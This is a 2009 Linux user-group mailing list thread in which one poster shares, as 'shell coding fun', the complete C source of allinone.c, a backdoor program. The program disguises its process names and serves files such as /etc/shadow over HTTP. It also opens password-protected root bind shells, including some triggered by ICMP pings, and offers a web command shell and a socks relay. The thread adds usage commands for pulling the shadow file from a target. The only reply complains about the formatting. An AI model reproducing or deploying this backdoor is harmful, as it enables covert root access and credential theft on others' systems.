http://nasrulkurniawan.blog.uns.ac.id/2007/05/03/allinonec/ On Sun, Jul 12, 2009 at 8:29 PM, Ryan Rix wrote: > On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote: >> Shell coding fun with ICMP/HTTP, Socks proxy. >> >> AllINONE.c >> >> /************************************************************************ >> * allinone.c for HUC (2002.1) >> * >> * allinone.c is >> * a Http server, >> * a sockets transmit server, >> * a shell backdoor, >> * a icmp backdoor, >> * a bind shell backdoor, >> * a like http shell, >> * it can translate file from remote host, >> * it can give you a socks5 proxy, >> * it can use for to attack, jumps the extension, Visits other machines. >> * it can give you a root shell.:) >> * >> * Usage: >> * compile: >> * gcc -o allinone allinone.c -lpthread >> * run on target: >> * ./allinone >> * >> * 1.httpd server >> * Client: >> * http://target:8008/givemefile/etc/passwd >> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow >> * or wget http://target:8008/givemefile/etc/shadow >> * >> * 2.icmp backdoor >> * Client: >> * ping -l 101 target (on windows) >> * ping -s 101 -c 4 target (on linux) >> * nc target 8080 >> * kissme:)   --> your password >> * >> * 3.shell backdoor >> * Client: >> * nc target 8008 >> * kissme:)   --> your password >> * >> * 4.bind a root shell on your port >> * Client: >> * http://target:8008/bindport:9999 >> * nc target 9999 >> * kissme:)   --> your password >> * >> * 5.sockets transmit >> * Client: >> * http://target:8008/socks/:local listen port::you want to tran >> ip:::you want to tran port >> * http://target:8008/socks/:1080::192.168.0.1:::21 >> * nc target 1080 >> * >> * 6.http shell >> * Client: >> * http://target:8008/givemeshell:ls -al (no pipe) >> * >> * ps: >> * All bind shell have a passwd, default is: kissme:) >> * All bind shell will close, if Two minutes do not have the connection. >> * All bind shell only can use one time until reactivates. >> * >> * >> * Code by lion, e-mail: lion@cnhonker.net >> * Welcome to HUC Website, Http://www.cnhonker.com >> * >> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) >> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test. >> * >> ************************************************************************/ >> >> >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> #include >> >> >> #define HTTPD_PORT    8008 >> #define BIND_PORT     8888 >> #define ICMP_PORT     8080 >> #define TRAN_PORT     1080 >> #define SIZEPACK      101 >> #define MAXSIZE               32768 >> #define TIMEOUT               120 >> #define CONNECT_NUMBER        1 >> #define HIDEME                "[login]       " >> #define HIDEICMP      "[su]       " >> #define HIDEFILE      "[bash]       " >> #define GET_FILE      "givemefile" >> #define SHELL_NAME    "givemeshell" >> #define BIND_NAME     "bindport" >> #define TRAN_NAME     "socks" >> #define DISPART               ":" >> #define DISPART1      "::" >> #define DISPART2      ":::" >> #define PASSWORD      "kissme:)"      /* Change it */ >> #define MESSAGE               "\r\n========Welcome to >> http://www.cnhonker.com========\r\n==========You got it, have a >> goodluck. :)=========\r\n\r\nYour command: \0" >> #define GIVEPASS      "\r\nEnter Your password: \0" >> >> #define max(a, b) (a)>(b)?(a) : (b) >> >> int maxfd, infd, outfd; >> unsigned char ret_buf[32768]; >> >> int   daemon_init();          /* init the daemon, if success return 0 other <0 */ >> void  sig_chid();             /* wait the child die */ >> int   TCP_listen();           /* success return 1 else return -1 */ >> char* read_file();            /* return the file content as a large string, buf >> value like GET /index.html HTTP:/1.1 */ >> ssize_t       writen_file();          /* writen data to socket */ >> int   bind_shell();           /* bind a root shell to a port */ >> int   get_shell();            /* get me the root shell */ >> int   icmp_shell();           /* icmp backdoor */ >> int   socks();                /* socks */ >> int   create_socket(); >> int   create_serv(); >> int   client_connect(); >> int   quit(); >> void  out2in(); >> char  x2c();                  /* http shell */ >> void  unescape_url(); >> void  plustospace(); >> >> >> /* The main function from here */ >> int main(int argc, char *argv[]) >> { >>       int fd, len, i, icmp; >>       int csocket; >>       struct sockaddr_in caddr; >>       char readstr[4000]; >>       char *cbuf; >>       pid_t pid; >> >>       /* make it to a daemon */ >>       /*signal(SIGHUP, SIG_IGN);*/ >>       signal(SIGCHLD, sig_chid); >>       daemon_init(); >> >>       if((pid = fork()) == -1) exit(0); >>       if(pid <= 0) >>       { >>               strcpy(argv[0], HIDEICMP); >>               icmp_shell(); >>       } >> >>       fd = TCP_listen(HTTPD_PORT); >>       if(fd <= 0) return -1; >> >>       for(;;) >>       { >>               strcpy(argv[0], HIDEME); >> >>               /* check httpd */ >>               len = sizeof(caddr); >>               if((csocket = accept(fd, &caddr, &len)) < 0) continue; >>               if((pid = fork()) == -1) continue; >>               if(pid <= 0) >>               { >>                       strcpy (argv[0], HIDEFILE); >>                       i = recv(csocket, readstr, 4000,0); >>                       if (i == -1) break; >>                       if( readstr[ i -1 ] != '\n' ) break; >>                       readstr [i] = '\0'; >>                       /*printf("Read from client: %s \n", readstr);*/ >>                       cbuf = read_file(readstr, csocket); >>                       close(csocket); >>               } >>               close(csocket); >>       } >>       close(fd); >>       return(1); >> } >> >> >> /* init the daemon, if success return 0 other <0 */ >> int daemon_init() >> { >>       struct sigaction act; >>       int i, maxfd; >> >>       if(fork() != 0) exit(0); >>       if(setsid() < 0) return(-1); >> >>       act.sa_handler = SIG_IGN; >>       /*act.sa_mask = 0;*/ >>       act.sa_flags = 0; >> >>       sigaction(SIGHUP, &act, 0); >> >>       if(fork() != 0) exit(0); >> >>       chdir("/"); >>       umask(0); >>       maxfd = sysconf(_SC_OPEN_MAX); >>       for(i=0; i>       close(i); >>       open("/dev/null", O_RDWR); >>       dup(0); >>       dup(1); >>       dup(2); >>       return(0); >> } >> >> >> /* wait the child die */ >> void sig_chid(int signo) >> { >>       pid_t pid; >>       int stat; >>       while((pid = waitpid(-1, &stat, WNOHANG))>0); >>       printf("children %d died\n", pid); >>       return; >> } >> >> /* success return 1 else return -1 */ >> int TCP_listen(int port) >> { >>       struct sockaddr_in laddr ; >>       int fd; >>       socklen_t len ; >>       fd = socket(AF_INET, SOCK_STREAM, 0); >>       len = sizeof(laddr) ; >>       memset(&laddr, 0, len) ; >>       laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; >>       laddr.sin_family = AF_INET ; >>       laddr.sin_port = htons(port) ; >>       if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1); >>       if(listen(fd, 5)) return(-1); >>       return(fd); >> } >> >> /* http server */ >> char * read_file(char *buf, int fd) >> { >>       char *erro= >>       "Content-type: text/html\n\n" >>       "HTTP/1.1 404 Not Found\n" >>       "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" >>       "Server: Apache/1.3.22 (Unix)\n" >>       "Connection: close\n" >>       "Content-Type: text/html\n\n" >>       "\n" >>       "\n" >>       "404 Not Found\n" >>       "\n" >>       "

Not Found

\n" >>       "The requested URL was not found on this server.

\n" >>       "


\n" >>       "
Apache/1.3.22 Server at localhost Port 8008
\n" >>       "\n\n"; >> >>       char *bindok= >>       "Content-type: text/html\n\n" >>       "\nBind Shell ok.:)\n" >>       "\n" >>       "

\n" >>       "\n" >>       "You get it, goodluck! :-)\n" >>       "


\n" >>       "\n\n"; >> >>       char *tranok= >>       "Content-type: text/html\n\n" >>       "\nTran ok.:)\n" >>       "\n" >>       "

\n" >>       "\n" >>       "Tran ok!\n" >>       "


\n" >>       "\n\n"; >> >>       char *httpok1= >>       "Content-type: text/html\n\n" >>       "\nShell ok.:)\n" >>       "\n" >>       "
\n" >>       "
\n";
>>
>>       char *httpok2=
>>       "

\n" >>       "\n\n"; >> >>       char *yourcom= >>       "Your Command:\n"; >> >>       char *br= >>       "
\n"; >> >>       int listenp, targetp, i, j, c, bport; >>       char *cmd, *par, *op, *hp, *tp, *targeth, *command; >>       char *swap_file = "/tmp/tmp.txt"; >>       char *setpath = >> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:."; >>       FILE *f; >> >>       /* check give me shell */ >>       cmd = buf; >>       par = strstr(cmd, PASSWORD); >>       if(par != NULL) >>       { >>               /*printf("Get Shell:\n");*/ >>               get_shell(fd); >>               exit(0); >>       } >> >>       /* check bind root shell on a port */ >>       par = strstr(cmd, BIND_NAME); >>       op = strstr(cmd, DISPART); >>       if(par != NULL && op != NULL) >>       { >>               bport = atoi(op + strlen(DISPART)); >>               if(bport <= 0) >>                       bport = BIND_PORT; >>               /*printf("Bind Port: %d\n", bport);*/ >>               write(fd, bindok, strlen(bindok)); >>               close(fd); >>               bind_shell(bport); >>               exit(0); >>       } >> >>       /* check Tran code */ >>       par = strstr(cmd, TRAN_NAME); >>       op = strstr(cmd, DISPART); >>       hp = strstr(cmd, DISPART1); >>       tp = strstr(cmd, DISPART2); >>       if(par != NULL && op != NULL && hp != NULL && tp != NULL) >>       { >>               listenp = atoi(op + strlen(DISPART)); >>               if(listenp <= 0) >>               listenp = TRAN_PORT; >>               targetp = atoi(tp + strlen(DISPART2)); >>               if(targetp <= 0) >>                       targetp = 23; >> >>               hp = (hp + strlen(DISPART1)); >>               targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp)); >>               targeth[strlen(hp) - strlen(tp)] = '\0'; >> >>               /*printf("Tran Port: listen %d port to %s %d port\n", listenp, >> targeth, targetp);*/ >>               write(fd, tranok, strlen(tranok)); >>               close(fd); >>               /* >>               listenp = 1080; >>               targetp = 21; >>               targeth = "192.168.0.14"; >>               */ >>               socks(listenp, targeth, targetp); >>               exit(0); >>       } >> >>       /* check http shell */ >>       par = strstr(cmd, SHELL_NAME); >>       op = strstr(cmd, DISPART); >>       if(par != NULL && op != NULL) >>       { >>               tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART); >>               hp = strstr(tp, "HTTP"); >>               if(hp != NULL) *hp = '\0'; >>               tp[strlen(tp) - 1] = 0; >>               plustospace(tp); >>               unescape_url(tp); >>               /*printf("HTTP Shell: %s\n", tp);*/ >> >>               c = j = strlen(tp); >>               tp[j] = ' ';j++; >>               tp[j] = ' ';j++; >>               tp[j] = '>';j++; >>               tp[j] = ' ';j++; >>               for(i = 0; i <= strlen(swap_file); i++, j++) >>               { >>                       tp[j] = swap_file[i]; >>               } >>               tp[j + strlen(swap_file)] = '\0'; >> >>               command = tp; >>               /*printf("command: %s\n",command); */ >>               setuid(0); >>               setgid(0); >>               chdir("/"); >>               putenv(setpath); >>               /*printf("setpath ok!\n");*/ >>               system(command); >>               /*printf("system ok!\n");*/ >> >>               f = fopen(swap_file, "r"); >>               if (f == NULL) >>               { >>                       /*printf("Swap file error");*/ >>                       writen_file(fd, erro, strlen(erro)); >>                       return erro; >>               } >> >>               writen_file(fd, httpok1, strlen(httpok1)); >>               writen_file(fd, yourcom, strlen(yourcom)); >>               writen_file(fd, command, c); >>               writen_file(fd, br, strlen(br)); >>               writen_file(fd, br, strlen(br)); >>               while( !feof(f) ) >>               { >>                       i = fread(ret_buf, 1, 32768, f); >>                       if (i == 0) break; >>                       writen_file(fd, ret_buf, i); >>               } >>               fclose(f); >>               writen_file(fd, br, strlen(br)); >>               writen_file(fd, httpok2, strlen(httpok2)); >>               remove(swap_file); >>               exit(0); >>       } >> >>       /* check getfile */ >>       par = NULL; >>       par = strstr(cmd, GET_FILE); >>       if(par != NULL) >>       { >>               op = buf + 5 + strlen(GET_FILE); >>               tp = strstr(op, "HTTP"); >>               if(tp != NULL) *tp = '\0'; >>               op[strlen(op) - 1] = 0; >>               /*printf("Get File: %s\n", op);*/ >>               f = fopen(op, "r"); >>               if (f == NULL) >>               { >>                       writen_file(fd, erro, strlen(erro)); >>                       return erro; >>               } >> >>               while( !feof(f) ) >>               { >>                       i = fread(ret_buf, 1, 32768, f); >>                       if (i == 0) break; >>                       writen_file(fd, ret_buf, i); >>               } >>               fclose(f); >>               exit(0); >>       } >>       writen_file(fd, erro, strlen(erro)); >>       close(fd); >>       exit(-1); >> } >> >> >> /* writen data to socket */ >> ssize_t writen_file(int fd, const void *vptr, size_t n) >> { >>       size_t nleft; >>       ssize_t nwritten; >>       const char *ptr; >>       ptr = vptr; >>       nleft = n; >>       while(nleft > 0) >>       { >>               if((nwritten = write(fd, ptr, nleft)) <= 0) >>               { >>                       if(errno == EINTR) >>                       nwritten = 0; >>                       else >>                       return(-1); >>               } >>               nleft -= nwritten; >>               ptr += nwritten; >>       } >>       return(n); >> } >> >> /* bind root shell to a port */ >> int bind_shell(int port) >> { >>       int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; >>       char passwd[15]; >> >>       struct sockaddr_in serv_addr; >>       struct sockaddr_in client_addr; >>       struct timeval testtime; >> >>       setuid(0); >>       setgid(0); >>       seteuid(0); >>       setegid(0); >> >>       chdir("/"); >> >>       soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); >> >>       if (soc_des == -1) >>               exit(-1); >> >>       bzero((char *) &serv_addr,sizeof(serv_addr)); >>       serv_addr.sin_family = AF_INET; >>       serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); >>       serv_addr.sin_port = htons(port); >> >>       soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); >> >>       if (soc_rc != 0) >>               exit(-1); >>       if (fork() != 0) >>               exit(0); >>       setpgrp(); >>       if (fork() != 0) >>               exit(0); >>       soc_rc = listen(soc_des, 5); >>       if (soc_rc != 0) >>               exit(0); >> >>       testtime.tv_sec = TIMEOUT; >>       testtime.tv_usec = 0; >> >>       /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, >> sizeof(testtime));*/ >> >>       alarm(TIMEOUT); >>       soc_len = sizeof(client_addr); >>       soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); >> >>       if (soc_cli < 0) >>               exit(0); >>       alarm(0); >> >>       cli_pid = getpid(); >>       server_pid = fork(); >> >>       if (server_pid != 0) >>       { >>               write(soc_cli, GIVEPASS, strlen(GIVEPASS)); >>               recv(soc_cli, passwd, sizeof(passwd), 0); >> >>               for (i = 0; i < strlen(passwd); i++) >>               { >>                       if (passwd[i] == '\n' || passwd[i] == '\r') >>                       { >>                               passwd[i] = '\0'; >>                       } >>               } >> >>               if (strcmp(passwd, PASSWORD) != 0) >>               { >>                       close(soc_cli); >>                       close(soc_rc); >>                       exit(-1); >>               } >> >>               write(soc_cli, MESSAGE, strlen(MESSAGE)); >>               for (i = 0; i < 3; i++) >>               { >>                       dup2(soc_cli, i); >>               } >> >>               execl("/bin/sh","sh",(char *)0); >>               close(soc_cli); >>               close(soc_rc); >>               exit(1); >>       } >>       close(soc_cli); >>       close(soc_rc); >>       exit(0); >> } >> >> /* return a root shell */ >> int get_shell(int fd) >> { >>       int i; >>       setuid(0); >>       setgid(0); >> >>       chdir("/"); >>       write(fd, MESSAGE, strlen(MESSAGE)); >>       for (i = 0; i < 3; i++) >>       { >>               dup2(fd, i); >>       } >>       execl("/bin/sh","sh",(char *)0); >>       close(fd); >>       return 1; >> } >> >> /* icmp backdoor */ >> int icmp_shell() >> { >>       int i, s, size, fromlen, port = ICMP_PORT; >>       char pkt[4096]; >> >>       struct protoent *proto; >>       struct sockaddr_in from; >> >>       proto = getprotobyname("icmp"); >> >>       /* can't creat raw socket */ >>       if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) >>       exit(0); >> >>       /* waiting for packets */ >>       while(1) >>       { >>               do >>               { >>                       fromlen = sizeof(from); >>                       if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr >> *)&from, &fromlen)) < 0) >>                       printf("", size - 28); >>               }while(size != SIZEPACK + 28); >> >>               /* size == SIZEPACK, let's bind the shell on your port :)*/ >>               switch(fork()) >>               { >>               case -1: >>                       continue; >> >>               case 0: >>                       bind_shell(port); >>               exit (0); >>               } >>       } >>       return 1; >> } >> >> /* tran socks code */ >> int socks(int listenp, char *targeth, int targetp) >> { >>       int listfd, outside, inside, size; >>       pthread_t thread1; >>       struct sockaddr_in client; >> >>       if(!(listfd = create_socket())) exit(1); >>       if(!(create_serv(listfd, listenp))) exit(1); >> >>       for(;;) >>       { >>               size = sizeof(struct sockaddr); >>               /*printf("waiting for response.........\n");*/ >>               if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0) >>               { >>                       /*printf("accept error\n");*/ >>                       continue; >>               } >> >>               /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/ >>               if(!(infd=create_socket())) exit(1); >>               if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd); >> >>               maxfd = max(outfd, infd) + 1; >>               pthread_create(&thread1, NULL, (void *)&out2in, NULL); >>       } >>       close(listfd); >> } >> >> int create_socket() >> { >>       int sockfd; >> >>       if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) >>       { >>               /*printf("Create socket error\n");*/ >>               return(0); >>       } >>       return(sockfd); >> } >> >> int create_serv(int sockfd, int port) >> { >>       struct sockaddr_in srvaddr; >> >>       bzero(&srvaddr, sizeof(struct sockaddr)); >>       srvaddr.sin_port = htons(port); >>       srvaddr.sin_family = AF_INET; >>       srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); >> >>       if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0) >>       { >>               /*printf("Bind to port %d error\n",port);*/ >>               return(0); >>       } >> >>       if(listen(sockfd,CONNECT_NUMBER)<0) >>       { >>               /*printf("listen error\n");*/ >>               return(0); >>       } >>       return(1); >> } >> >> int client_connect(int sockfd, char *server, int port) >> { >>       struct sockaddr_in cliaddr; >>       struct hostent *host; >> >>       if(!(host = gethostbyname(server))) >>       { >>               /*printf("gethostbyname error:%s\n",server);*/ >>               return(0); >>       } >> >>       bzero(&cliaddr, sizeof(struct sockaddr)); >>       cliaddr.sin_family = AF_INET; >>       cliaddr.sin_port = htons(port); >>       cliaddr.sin_addr = *((struct in_addr *)host->h_addr); >> >>       if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < >> 0) { >>               /*printf("connect %s:%d error\n",server,port);*/ >>               return(0); >>       } >>       return(1); >> } >> >> int quit(int a, int b, int c) >> { >>       close(a); >>       close(b); >>       close(c); >>       exit(1); >> } >> >> void out2in() >> { >>       struct timeval timeset; >>       fd_set readfd, writefd; >>       int result, i = 0; >>       char read_in1[MAXSIZE], send_out1[MAXSIZE]; >>       char read_in2[MAXSIZE], send_out2[MAXSIZE]; >>       int read1 = 0, totalread1 = 0, send1=0; >>       int read2 = 0, totalread2 = 0, send2=0; >>       int out_fd, in_fd; >> >>       out_fd = outfd; >>       in_fd = infd; >> >>       bzero(read_in1, MAXSIZE); >>       bzero(read_in2, MAXSIZE); >>       bzero(send_out1, MAXSIZE); >>       bzero(send_out2, MAXSIZE); >> >>       timeset.tv_sec = TIMEOUT; >>       timeset.tv_usec = 0; >> >>       while(1) >>       { >>               FD_ZERO(&readfd); >>               FD_ZERO(&writefd); >> >>               FD_SET(out_fd, &readfd); >>               FD_SET(in_fd, &writefd); >>               FD_SET(out_fd, &writefd); >>               FD_SET(in_fd, &readfd); >> >>               result = select(maxfd, &readfd, &writefd, NULL, °¡et); >>               if(result < 0) >>               { >>                       /*printf("select error\n");*/ >>                       return; >>               } >>               else >>               if(result == 0) >>               { >>                       /*printf("time out\n");*/ >>                       return; >>               } >> >>               if(FD_ISSET(out_fd, &readfd)) >>               { >>                       read1 = recv(out_fd, read_in1, MAXSIZE, 0); >>                       if(read1 == 0) break; >>                       if(read1 < 0) >>                       { >>                               /*printf("read data error\n");*/ >>                               return; >>                       } >>                       memcpy(send_out1 + totalread1, read_in1, read1); >>                       totalread1 += read1; >>                       bzero(read_in1, MAXSIZE); >>               } >>               if(FD_ISSET(in_fd, &writefd)) >>               { >>                       while(totalread1 > 0) >>                       { >>                               send1 = write(in_fd, send_out1, totalread1); >>                               if(send1 == 0)break; >>                               if(send1 < 0) >>                               { >>                                       /*printf("unknow error\n");*/ >>                                       continue; >>                               } >>                               totalread1 -= send1; >>                       } >>                       bzero(send_out1, MAXSIZE); >>               } >> >>               if(FD_ISSET(in_fd, &readfd)) >>               { >>                       read2 = recv(in_fd, read_in2, MAXSIZE, 0); >>                       if(read2 == 0) break; >>                       if(read2 < 0) >>                       { >>                               /*printf("read data error\n");*/ >>                               return; >>                       } >> >>                       memcpy(send_out2 + totalread2, read_in2, read2); >>                       totalread2 += read2; >>                       bzero(read_in2, MAXSIZE); >>               } >> >>               if(FD_ISSET(out_fd, &writefd)) >>               { >>                       while(totalread2 > 0) >>                       { >>                               send2 = write(out_fd, send_out2, totalread2); >>                               if(send2 == 0) break; >>                               if(send2 < 0) >>                               { >>                                       /*printf("unknow error\n");*/ >>                                       continue; >>                               } >> >>                               totalread2 -= send2; >>                       } >>                       bzero(send_out2, MAXSIZE); >>               } >>       } >>       close(out_fd); >>       close(in_fd); >>       return; >> } >> >> char x2c(char *what) >> { >>       register char digit; >> >>       digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); >>       digit *= 16; >>       digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); >>       return (digit); >> } >> >> >> void unescape_url(char *url) >> { >>       register int x, y; >> >>       for(x = 0 , y = 0; url[y]; ++x, ++y) >>       { >>               if((url[x] = url[y]) == '%') >>               { >>                       url[x] = x2c(&url[y + 1]); >>                       y += 2; >>               } >>       } >>       url[x] = '\0'; >> } >> >> void plustospace(char *str) >> { >>       register int x; >> >>       for(x = 0; str[x]; x++) >>       if (str[x] == '+') >>       str[x] = ' '; >> } >> >> >> endfun > > This would be so much better as an attachment so my mail client didn't die > horribly and it could be translated to a compilable file easily ;) > > --- > Ryan Rix > (623)-826-0051 > > Linus Torvalds: >> This is the special easter release of linux, more mundanely called 1.3.84 > Winfried Truemper: >> Umh, oh. What do you mean by "special easter release"?. Will it quit >> working today and rise on easter? > > http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash > XMPP: phrkonaleash@gmail.com          | MSN: phrkonaleash@yahoo.com > AIM:  phrkonaleash                    | Yahoo: phrkonaleash > IRC:  PhrkOnLsh@irc.freenode.net/#srcedit,#teensonlinux,#plugaz and >      countless other FOSS channels. > > > --------------------------------------------------- > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > To subscribe, unsubscribe, or to change your mail settings: > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Get it here: http://www.obnosis.com/allinone_c.txt -- http://linuxgazette.net/164/kachold.html (623)239-3392 Skype: obn0sis (503)754-4452 www.obnosis.com --------------------------------------------------- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss